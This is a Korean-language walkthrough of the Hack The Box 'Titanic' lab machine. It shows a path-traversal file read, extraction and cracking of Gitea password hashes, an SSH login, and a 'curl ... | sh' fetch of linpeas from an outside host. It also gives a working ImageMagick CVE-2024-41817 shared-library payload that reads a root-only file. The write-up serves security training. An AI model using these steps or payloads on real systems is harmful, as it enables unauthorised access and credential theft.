Post

[HTB] Titanic Write Up

[HTB] Titanic Write Up

포트 스캔

1
sudo nmap -Pn -p- --min-rate 1000 -T4 -oN scans/initial_Pn 10.129.231.221
1
2
3
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

초기 침투

  • 10.129.231.221:80 접속 시 연결X → 도메인(titanic.htb)으로 접속됨 1

/etc/hosts 파일 수정

1
echo "10.129.231.221 titanic.htb" | sudo tee -a /etc/hosts

서브 도메인 탐색 (ffuf 사용)

1
ffuf -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.titanic.htb" -ac
1
dev                     [Status: 200, Size: 13983, Words: 1107, Lines: 276, Duration: 304ms]

/etc/hosts 파일 추가

1
echo "10.129.231.221 dev.titanic.htb" | sudo tee -a /etc/hosts

dev.titanic.htb 접속

  • docker-config/mysql/docker-compose.yml 파일 내 mysql 계정 획득
1
2
3
4
5
6
7
8
9
10
11
12
13
14
version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

2

  • docker-config/gitea/docker-compose.yml 파일 내 공유 볼륨 확인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

3

titanic.htb 접속

  • Book Your Trip 버튼을 눌러 폼 작성 후 제출 시 /download?ticket=e5273d62-e765-4124-9897-bf860dd23cc4.json 요청 패킷을 확인 4
1
2
GET /download?ticket=e5273d62-e765-4124-9897-bf860dd23cc4.json HTTP/1.1
Host: titanic.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Date: Sun, 15 Mar 2026 10:52:20 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename=e5273d62-e765-4124-9897-bf860dd23cc4.json
Content-Type: application/json
Content-Length: 98
Last-Modified: Sun, 15 Mar 2026 10:52:20 GMT
Cache-Control: no-cache
ETag: "1773571940.178802-98-190779686"
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive

{"name": "test", "email": "test@test", "phone": "1234", "date": "2000-10-10", "cabin": "Standard"}
  • ticket을 /etc/passwd로 변조 성공으로 취약점 확인
1
2
GET /download?ticket=/etc/passwd HTTP/1.1
Host: titanic.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 200 OK
Date: Sun, 15 Mar 2026 10:53:21 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/etc/passwd"
Content-Type: application/octet-stream
Content-Length: 1951
Last-Modified: Fri, 07 Feb 2025 11:16:19 GMT
Cache-Control: no-cache
ETag: "1738926979.4294043-1951-393413677"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  • 구글링을 통해 Gitea의 주요 설정 파일(/data/gitea/conf/app.ini) 식별
    • dev.titanic.htb에서 식별한 공유 볼륨에 맞춰 요청
1
2
GET /download?ticket=/home/developer/gitea/data/gitea/conf/app.ini HTTP/1.1
Host: titanic.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
HTTP/1.1 200 OK
Date: Sun, 15 Mar 2026 11:02:46 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/home/developer/gitea/data/gitea/conf/app.ini"
Content-Type: application/octet-stream
Content-Length: 2004
Last-Modified: Fri, 02 Aug 2024 10:42:14 GMT
Cache-Control: no-cache
ETag: "1722595334.8970726-2004-2176520380"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea

[repository]
ROOT = /data/git/repositories

[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo

[repository.upload]
TEMP_PATH = /data/gitea/uploads

[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable

[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve

[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file

[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars

[attachment]
PATH = /data/gitea/attachments

[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log

[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost

[lfs]
PATH = /data/git/lfs

[mailer]
ENABLED = false

[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true

[cron.update_checker]
ENABLED = false

[repository.pull-request]
DEFAULT_MERGE_STYLE = merge

[repository.signing]
DEFAULT_TRUST_MODEL = committer

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
  • db 파일 확인 > 다운로드
1
curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db -o gitea.db

SQLite 접속

1
sqlite3 gitea.db
  • 테이블 목록 확인
    • user 테이블 확인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
sqlite> .tables
access                     oauth2_grant             
access_token               org_user                 
action                     package                  
action_artifact            package_blob             
action_run                 package_blob_upload      
action_run_index           package_cleanup_rule     
action_run_job             package_file             
action_runner              package_property         
action_runner_token        package_version          
action_schedule            project                  
action_schedule_spec       project_board            
action_task                project_issue            
action_task_output         protected_branch         
action_task_step           protected_tag            
action_tasks_version       public_key               
action_variable            pull_auto_merge          
app_state                  pull_request             
attachment                 push_mirror              
auth_token                 reaction                 
badge                      release                  
branch                     renamed_branch           
collaboration              repo_archiver            
comment                    repo_indexer_status      
commit_status              repo_redirect            
commit_status_index        repo_topic               
commit_status_summary      repo_transfer            
dbfs_data                  repo_unit                
dbfs_meta                  repository               
deploy_key                 review                   
email_address              review_state             
email_hash                 secret                   
external_login_user        session                  
follow                     star                     
gpg_key                    stopwatch                
gpg_key_import             system_setting           
hook_task                  task                     
issue                      team                     
issue_assignees            team_invite              
issue_content_history      team_repo                
issue_dependency           team_unit                
issue_index                team_user                
issue_label                topic                    
issue_user                 tracked_time             
issue_watch                two_factor               
label                      upload                   
language_stat              user                     
lfs_lock                   user_badge               
lfs_meta_object            user_blocking            
login_source               user_open_id             
milestone                  user_redirect            
mirror                     user_setting             
notice                     version                  
notification               watch                    
oauth2_application         webauthn_credential      
oauth2_authorization_code  webhook
  • user 테이블 컬럼 조회
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
sqlite> PRAGMA table_info(user);
0|id|INTEGER|1||1
1|lower_name|TEXT|1||0
2|name|TEXT|1||0
3|full_name|TEXT|0||0
4|email|TEXT|1||0
5|keep_email_private|INTEGER|0||0
6|email_notifications_preference|TEXT|1|'enabled'|0
7|passwd|TEXT|1||0
8|passwd_hash_algo|TEXT|1|'argon2'|0
9|must_change_password|INTEGER|1|0|0
10|login_type|INTEGER|0||0
11|login_source|INTEGER|1|0|0
12|login_name|TEXT|0||0
13|type|INTEGER|0||0
14|location|TEXT|0||0
15|website|TEXT|0||0
16|rands|TEXT|0||0
17|salt|TEXT|0||0
18|language|TEXT|0||0
19|description|TEXT|0||0
20|created_unix|INTEGER|0||0
21|updated_unix|INTEGER|0||0
22|last_login_unix|INTEGER|0||0
23|last_repo_visibility|INTEGER|0||0
24|max_repo_creation|INTEGER|1|-1|0
25|is_active|INTEGER|0||0
26|is_admin|INTEGER|0||0
27|is_restricted|INTEGER|1|0|0
28|allow_git_hook|INTEGER|0||0
29|allow_import_local|INTEGER|0||0
30|allow_create_organization|INTEGER|0|1|0
31|prohibit_login|INTEGER|1|0|0
32|avatar|TEXT|1||0
33|avatar_email|TEXT|1||0
34|use_custom_avatar|INTEGER|0||0
35|num_followers|INTEGER|0||0
36|num_following|INTEGER|1|0|0
37|num_stars|INTEGER|0||0
38|num_repos|INTEGER|0||0
39|num_teams|INTEGER|0||0
40|num_members|INTEGER|0||0
41|visibility|INTEGER|1|0|0
42|repo_admin_change_team_access|INTEGER|1|0|0
43|diff_view_style|TEXT|1|''|0
44|theme|TEXT|1|''|0
45|keep_activity_private|INTEGER|1|0|0
  • user 테이블 조회
1
2
3
sqlite> SELECT name,passwd,salt FROM user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34

해시 크래킹

  • 사용 도구 : https://github.com/AbdrrahimDahmani/Gitea2Hashcat
1
2
3
4
5
┌──(kali㉿kali)-[~/htb/titanic/Gitea2Hashcat]
└─$ python3 gitea2hashcat.py ../gitea.db 
Converted Hashes for Hashcat:
User: administrator (root@titanic.htb) -> sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
User: developer (developer@titanic.htb) -> sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
  • 위 결과를 hash.txt 파일로 저장
1
2
3
4
┌──(kali㉿kali)-[~/htb/titanic/Gitea2Hashcat]
└─$ cat hash.txt    
sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
  • 해시 크랙
1
hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
1
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

6

  • developer / 25282528 추출 성공

SSH 접속

  • 패스워드 : 25282528
1
ssh developer@10.129.231.221
  • 사용자 플래그 획득
1
2
developer@titanic:~$ cat user.txt 
...

권한 상승

취약점 스캔

  • linpeas.sh 실행
1
curl http://10.10.14.170/linpeas.sh | sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
╔══════════╣ Unexpected in /opt (usually empty) (T1083)
total 20                                                                               
drwxr-xr-x  5 root root      4096 Feb  7  2025 .
drwxr-xr-x 19 root root      4096 Feb  7  2025 ..
drwxr-xr-x  5 root developer 4096 Feb  7  2025 app
drwx--x--x  4 root root      4096 Feb  7  2025 containerd
drwxr-xr-x  2 root root      4096 Feb  7  2025 scripts

╔══════════╣ Unexpected in root (T1083)
                                                                                       
╔══════════╣ Modified interesting files in the last 5mins (limit 100) (T1083)
/opt/app/static/assets/images/metadata.log                                             
/home/developer/.gnupg/pubring.kbx
/home/developer/.gnupg/trustdb.gpg
/home/developer/snap/lxd/common/config/config.yml
/var/log/journal/3010787ce58f43a9a8f1c8c49cb903e8/system.journal
/var/log/journal/3010787ce58f43a9a8f1c8c49cb903e8/user-1000.journal
/var/log/auth.log
/var/log/laurel/audit.log.1
/var/log/laurel/audit.log.2
/var/log/laurel/audit.log
/var/log/kern.log
/var/log/syslog

7

  • 현재 사용자가 접근 가능한 app 폴더 내에 지난 5분 동안 수정된 파일 /opt/app/static/assets/images/metadata.log가 존재

  • metadata.log 파일

1
2
3
4
5
developer@titanic:/opt/app/static/assets/images$ cat metadata.log 
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.000u 0:00.003
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.000u 0:00.000
  • /opt/scripts 폴더 내 identify_images.sh 스크립트 발견
    • 해당 스크립트는 root 권한으로 실행됨
1
2
3
4
developer@titanic:/opt/scripts$ cat identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
  • /usr/bin/magick는 ImageMagick임을 확인
  • ImageMagick 버전 확인
1
/usr/bin/magick --version
1
2
3
4
5
6
7
developer@titanic:/opt/scripts$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

권한 상승

  • ImageMagick 7.1.1-35에 CVE가 존재함을 확인 (CVE-2024-41817)
  • 사용한 exploit : https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
  • /opt/app/static/assets/images 내 공유 라이브러리 생성
1
2
3
4
5
6
7
8
9
10
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /home/developer/root.txt");
    exit(0);
}
EOF
  • 관리자 플래그 획득
1
2
developer@titanic:/opt/app/static/assets/images$ cat /home/developer/root.txt
...

8

This post is licensed under CC BY 4.0 by the author.